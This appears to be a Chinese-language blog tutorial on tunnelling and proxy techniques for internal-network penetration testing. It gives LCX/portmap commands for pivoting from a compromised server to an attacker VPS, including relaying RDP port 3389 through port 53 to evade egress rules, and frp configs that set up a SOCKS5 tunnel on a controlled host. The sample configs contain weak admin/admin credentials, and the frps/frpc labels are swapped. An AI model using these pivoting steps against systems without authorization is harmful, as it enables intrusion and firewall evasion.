赞
踩
前言:在学习内网的过程中,我们不得不提到隧道的概念,隧道的搭建在内网渗透有着不可或缺的作用,那么隧道到底是什么呢?它在内网渗透又起到什么样的作用呢?下面由我来带领各位童鞋们一步步揭晓内网隧道代理技术的层层迷雾
目录
隧道通常指的是在一个网络连接上创建一个加密的数据通道
隧道技术是一种通过使用互联网络的基础设施在网络之间传递数据的方式。使用隧道传递的数据(或负载)可以是不同协议的数据帧或包。隧道协议将这些其他协议的数据帧或包重新封装在新的包头中发送。新的包头提供了路由信息,从而使封装的负载数据能够通过互联网络传递
被封装的数据包在隧道的两个端点之间通过公共互联网络进行路由。被封装的数据包在公共互联网络上传递时所经过的逻辑路径称为隧道。一旦到达网络终点,数据将被解包并转发到最终目的地
注:隧道技术是指包括数据封装、传输和解包在内的全过程
服务端处理socks、http(s)等协议请求时,将请求数据包和响应数据包进行转发,担任中间人的角色,可以搭建链路访问内部网络或原本无法访问的站点
代理一般分为正向代理和反向代理两类:
正向代理:被控主机监听端口,通过这个端口形成一个正向的隧道,我们访问内网的流量由被控主机转发到内网并返回相关信息,网络拓扑图如下:
反向代理:由内网主机主动连接到代理机器,然后本地去连接形成反向代理。例如:VPS监听本地端口,已控内网服务器来连接此端口,形成一个隧道
利用代理工具将目标内网的流量代理到本地进行访问,这样就可以对目标内网进行下一步渗透
网络拓扑图如下:
代理主要解决网络访问通讯问题,还可以隐藏本地IP
隧道技术解决在网络中的流量加密传输等
提到隧道,我们先来回想一下我们现实生活中的隧道,两个地方要通车,但是中间有重重大山阻挡,怎么办?当然是挖穿它,建立一条可以通车的通道,这个通道称为隧道,这里隧道的作用是使得两个地方能够通车
而在内网渗透中,当我们拿下了某台边界主机,要对边界主机整个内网进行渗透时,首先要在被控主机内网进行信息收集,但是被控制的主机中没有趁手工具对内网进行探测,而我们在家或者在公司的电脑空有工具却无法访问被控主机内网,怎么办?
这个时候我们就要像现实生活中一样,建立一个通道,一条直通被控主机内网中的通道,使得我们在办公网络中的电脑能直接访问到被控主机内网中,而这个通道称为隧道,我们本地需要通过代理到搭建的隧道来访问被控主机内网,这整个过程称为隧道代理技术
我们通过边界主机进入内网,往往会利用它当跳板进行横向渗透,但现在的内部网络大多部署了很多安全设备,网络结构更是错综复杂,对于某些系统的访问会受到各种阻挠,这就需要借助代理去突破这些限制,因此面对不同的网络环境对于代理的选择及使用显得格外重要
关于隧道的分类大体可以从两个方面进行分类
我们在内网渗透的时候,大多数用到的代理就是http和socks
Http代理用的是Http协议,工作在应用层,主要是用来代理浏览器访问网页
Socks代理用的是Socks协议,工作在会话层,可以用来传递所有流量的数据包
socks 代理又分为 Socks4 和 Sock5,Socks4只支持TCP,而 Socks5 支持 TCP 和 UDP 并且支持数据加密传输
端口转发,有时被称为做隧道,是安全壳(SSH)为网络安全通信使用的一种方法简单来说,端口转发就是将一个端口收到的流量转发到另一个端口
攻击者往往利用端口转发来进入内网对某个特定的服务进行攻击,或者是为了绕过本地防火墙的策略(比如:3389端口不出网,我们可以将其转发至出网的53端口)
端口映射是 NAT 的一种,功能是把在公网的地址转成私有地址。简单来说,端口映射就是将一个端口映射到另一个端口供其他人使用
端口映射就是将内网中的主机的一个端口映射到外网主机的一个端口,提供相应的服务
正向是从攻击者电脑主动访问目标机器,例如通过主动访问目标建立Shell是正向Shell
反向是从目标机器主动连接攻击者电脑,例如通过在目标机器执行操作访问攻击者电脑建立的Shell是反向Shell
LCX 是一款 Socket 基于端口转发工具,有 Windows 版和 Linux 版,其中 Linux 版名为 PortMap,lcx是国内最早开发的隧道工具,不过现在已经停止维护了
LCX 有端口映射和端口转发两大功能,例如当目标的某个端口只对内网开放,可以使用端口映射将只对内网开放的端口映射到目标的其他端口使用;当目标处于内网或目标配置的策略(Windows系统防火墙或者是Linux系统的iptables)只允许访问固定某一端口时,可以通过端口转发突破限制
项目源码地址:todzhang/lcx (github.com)
下载地址:Pentest-tools/端口转发 at master · Brucetg/Pentest-tools (github.com)
Windows版的LCX基础用法:
- # 端口转发:正向代理
- lcx.exe -listen <目标端口><监听端口>
- lcx.exe -slave <攻击机IP><监听端口><目标IP><目标端口>
- # 注:listen和slave需成对使用
- # 端口映射:反向代理
- lcx.exe -tran<等待连接的端口><目标IP><目标端口>
Linux版的LCX基础用法:
- -v: version 软件版本
- -h1: host1 监听的内网地址
- -h2: host2 转发的公网地址
- -p1: port1 内网服务端口
- -p2: port2 转发到的公网端口
- -log: 指定连接日志保存文件,默认输出到屏幕
- -m: 指定使用方法
- 1:同Windows的lcx -tran
- 2:同Windows的lcx中的-listen
- 3:同Windows的lcx -slave
下面介绍一些实战场景,其中有win对win,Linux对Linux,Linux对win的使用方法
我们控制了一台Linux服务器,信息收集后发现内网中的172.16.10.10机器开启了mysql服务,我们想访问这个服务,但是被控主机没有mysql客户端连接工具,这个时候需要使用LCX进行端口转发
我们将内网中开启的3306端口转发到vps上的6666端口,在vps上监听6666端口并且转发到7777端口,这个时候我们在办公网络中只需要访问vps上的7777端口就能访问内网中的mysql服务了
实验拓扑
实验环境
机器名称 | 机器IP |
vps服务器 | 139.*.*.139 |
被控服务器 | 172.16.10.2 |
mysql服务器 | 172.16.10.10 |
实验步骤
1、在被控服务器172.16.10.2上运行以下命令,监听mysql服务器的3306端口并且转发到vps上的6666端口
./portmap -m 3 -h1 172.16.10.10 -p1 3306 -h2 139.*.*.139 -p2 6666
2、在vps上运行以下命令,将本机6666端口的流量转发到本机的7777端口
./portmap -m 2 -p1 6666 -h2 139.*.*.139 -p2 7777
3、我们只需在攻击机器上运行一个Navicat连接到vps的7777端口,就可以连接到被控主机内网172.16.10.2中的mysql服务中
Web服务器开启了80端口,但3389端口不允许出网,可以将web服务器的3389端口转发到允许出网的53端口,这个时候攻击者在VPS监听53端口并且转发到1111端口,这个时候攻击者连接VPS的1111端口, 等于访问web服务器的3389端口(53端口为dns服务,默认开启)
实验拓扑
实验环境
机器名称 | 机器IP |
vps服务器 | 139.*.*.139 |
web服务器 | 172.16.10.2 |
实验步骤
1、在攻击机器上运行以下命令,监听本地53端口并且转发到VPS1111端口
lcx.exe -slave 139.*.*.139 53 127.0.0.1 3389
2、在vps运行以下命令,将本地的53端口转发到本地的1111端口
./portmap -m 2 -p1 53 -p2 1111
3、在内网攻击机器上连接公网vps的1111端口就能访问web服务器的3389端口
(注:没有找到当时的截图,随便找了一个,理解意思就行)
由于配置了规则允许web出网,这个时候如果我们想访问3389端口,就可以用LCX进行端口转发
Web 服务器开启了80端口,3389端口不允许出网,可以通过lcx来将web服务器的3389端口转发到允许出网的53端口,这个时候我们再在vps上启用lcx监听53端口的流量并转发到1111端口,最后直接连接vps的的1111端口,就相当于访问web服务器的3389端口(这里的web服务器是可以在外网访问的)
实验拓扑
实验环境
机器名称 | 机器IP |
vps服务器 | 139.*.*.139 |
web服务器 | 118.*.*.180 |
实验步骤
1、在攻击机器上运行以下命令,监听本地53端口并且转发到本地1111端口
lcx.exe -listen 53 1111
2、在web靶机上运行以下命令, 将本地的3389端口转发到139.*.*.139的53端口
lcx.exe -slave 139.*.*.139 53 127.0.0.1 3389
3、在攻击机器上运行远程桌面,地址为139.*.*.139:1111,就能连接web服务器的3389端口
SSH通过网络远程访问主机提供保护,可以对客户端和服务端之间的数据传输进行压缩和加密,有身份验证、SCP、SFTP、和端口转发的功能
SSH转发常用的参数介绍:
参数 | 作用 |
---|---|
-C | 请求压缩所有数据 |
-D | 动态转发,即socks代理 |
-f | 后台执行SSH指令 |
-g | 允许远程主机连接主机的转发端口 |
-L | 本地转发 |
-N | 不执行远程命令,处于等待状态 |
-R | 远程转发 |
当我们想让我们的电脑全局都走代理的时候,就需要使用到全局代理,设置了全局代理我们的所有工具不需要再做任何的配置,所有使用的工具如dirsearch、BP、浏览器等都不用做任何的配置,默认就走代理,这种方式最推荐
Proxyifile 和 ProxyChains 都是非常出名代理连接工具,Proxyifile 一般是Windows代理连接的工具,而 ProxyChains 是 Linux 代理连接工具
Proxifier是一款功能非常强大的socks5客户端,可以让不支持通过代理服务器工作的网络程序能通过HTTPS或SOCKS或代理链
ProxyChains 是 Linux 和其他 Unix 下的代理工具,它可以使任何程序通过代理上网, 允许TCP和DNS通过代理隧道, 支持 HTTP、SOCKS4 和 SOCKS5 类型的代理服务器, 并且可配置多个代理
Earthworm简称EW,是一套便携式的网络穿透工具,具有 SOCKS v5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透
该工具已经停止维护和下载:EarthWorm
该工具支持端口转发,正向代理,反向代理,多级代理等方式,可以打通一条网络隧道,直达网络深处
下载地址:https://github.com/idlefire/ew
frp (Fast Reverse Proxy) 是一个轻量型的使用 Go 语言开发的高性能的反向代理应用,可以轻松地进行内网穿透,对外网提供服务,被誉为内网穿透神器
frp 支持TCP、UDP、HTTP、HTTPS等协议类型,他支持点对点的转发,还有全流量转发,frp最大的一个特点是使用SOCKS代理,而SOCKS是加密通信的,类似于做了一个加密的隧道,可以把外网的流量,通过加密隧道穿透到内网,效果有些类似于VPN
frp 配置有两步骤,将 frps 及 frps.ini 放到具有公网 IP 的机器上,将 frpc 及 frpc.ini 放到处于内网环境的机器上
注:现在 frp 已经不支持 .ini 的文件,需要使用 .toml 做配置文件
下载地址:Release v0.52.3 · fatedier/frp · GitHub
官方文档:文档 | frp
FRP的代理类型
类型 | 描述 |
---|---|
tcp | 单纯的 TCP 端口映射,服务端会根据不同的端口路由到不同的内网服务 |
udp | 单纯的 UDP 端口映射,服务端会根据不同的端口路由到不同的内网服务 |
http | 针对 HTTP 应用定制了一些额外的功能,例如修改 Host Header,增加鉴权 |
https | 针对 HTTPS 应用定制了一些额外的功能 |
stcp | 安全的 TCP 内网代理,需要在被访问者和访问者的机器上都部署 frpc,不需要在服务端暴露端口 |
sudp | 安全的 UDP 内网代理,需要在被访问者和访问者的机器上都部署 frpc,不需要在服务端暴露端口 |
xtcp | 点对点内网穿透代理,功能同 stcp,但是流量不需要经过服务器中转 |
tcpmux | 支持服务端 TCP 端口的多路复用,通过同一个端口访问不同的内网服务 |
frp工具不管是Linux启动还是Windows上启动选项命令都一致
服务端配置
服务端代理配置文件名为frps.toml,frp安装包中自带,下面会详细介绍其配置文件
代理启动命令,使用 frps 运行 frp.toml 配置文件
./frps -c ./frps.toml
客户端配置
客户端代理配置文件名为frpc.toml,在frp安装包中自带
代理启动命令,使用 frpc 运行 frpc.toml 配置文件
./frpc -c ./frpc.toml
服务端
- [common]
- # frp监听的端口,默认是7000,可以改成其他的
- bind_port = 7000
- # 授权码,请改成更复杂的
- token = 52010 # 这个token之后在客户端会用到
-
- # frp管理后台端口,请按自己需求更改
- dashboard_port = 7500
- # frp管理后台用户名和密码,请改成自己的
- dashboard_user = admin
- dashboard_pwd = admin
- enable_prometheus = true
-
- # frp日志配置
- log_file = /var/log/frps.log
- log_level = info
- log_max_days = 3

这服务端的配置文件中,不需要的功能可以不写上去,只写需要使用的功能配置
客户端
- # 客户端配置(搭建隧道)
- [common]
- server_addr = 服务器ip
- server_port = 7000 # 与frps.ini的bind_port一致
- token = 52010 # 与frps.ini的token一致
-
- # 配置ssh服务(端口转发)
- [ssh]
- type = tcp
- local_ip = 127.0.0.1
- local_port = 22
- remote_port = 6000 # 这个自定义,远程服务端口(需要使用这个端口来访问客户端的网络)
-
- # 配置http服务,可用于小程序开发、远程调试等(端口转发)
- [web]
- type = http
- local_ip = 127.0.0.1
- local_port = 8080
- subdomain = test.hijk.pw # web域名
- remote_port = 7000 # 自定义的远程服务器端口,例如8080

客户端也是同理,不需要的配置可以不写,不会影响正常使用
我们这里实战演示frp搭建隧道代理实现对目标机器的全端口访问,假设我们拿到一个shell,选择使用frp搭建隧道来进行内网渗透
实战场景拓扑图如下
frps.toml配置
- [common]
- server_addr = 139.*.*.139
- server_port = 7000
- [socks5]
- type = tcp
- plugin = socks5
- remote_port = 6000
frpc.toml服务端配置
- [common]
- bind_port = 7000
将 frp 二进制文件和 frps.toml 文件上传到被控机器中,执行./frps -c frps.toml命令
在自己的机器中运行./frp -c frpc.toml命令即可,这里我们使用proxychains命令来测试隧道,可以看到流量成功走了139.*.*.139的隧道。
注:没有当时的截图,我们这里是在VPS上后补的截图,理解意思就行
nps 是一款轻量级、高性能、功能强大的内网穿透代理服务器。目前支持tcp、udp流量转发,可支持任何tcp、udp 上层协议(访问内网网站、本地支付接口调试、ssh访问、远程桌面,内网dns解析等等……),此外还支持内网http代理、内网socks5代理、p2p等,并带有功能强大的web管理端
nps 不同于 frp 的开箱即用,nps 的服务端需要安装才能使用,但是 nps 的 web 界面比 frp 的丰富很多
使用手册:Document
下载地址:https://github.com/ehang-io/nps/releases
NPS也分为客户端和服务端两个
客户端:运行在内网中
服务端:运行在公网上
nps流量非常稳定,一般企业会使用这个工具将内网的服务穿透到公网服务器上供日常使用
在内网渗透中常用的几种代理技术
上面主要是介绍了端口转发和隧道代理,但其实在内网渗透中还有另一种技术非常常见,那就是利用msf来添加路由回话,我这里顺道提一嘴,感兴趣的小伙伴自己去了解下
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。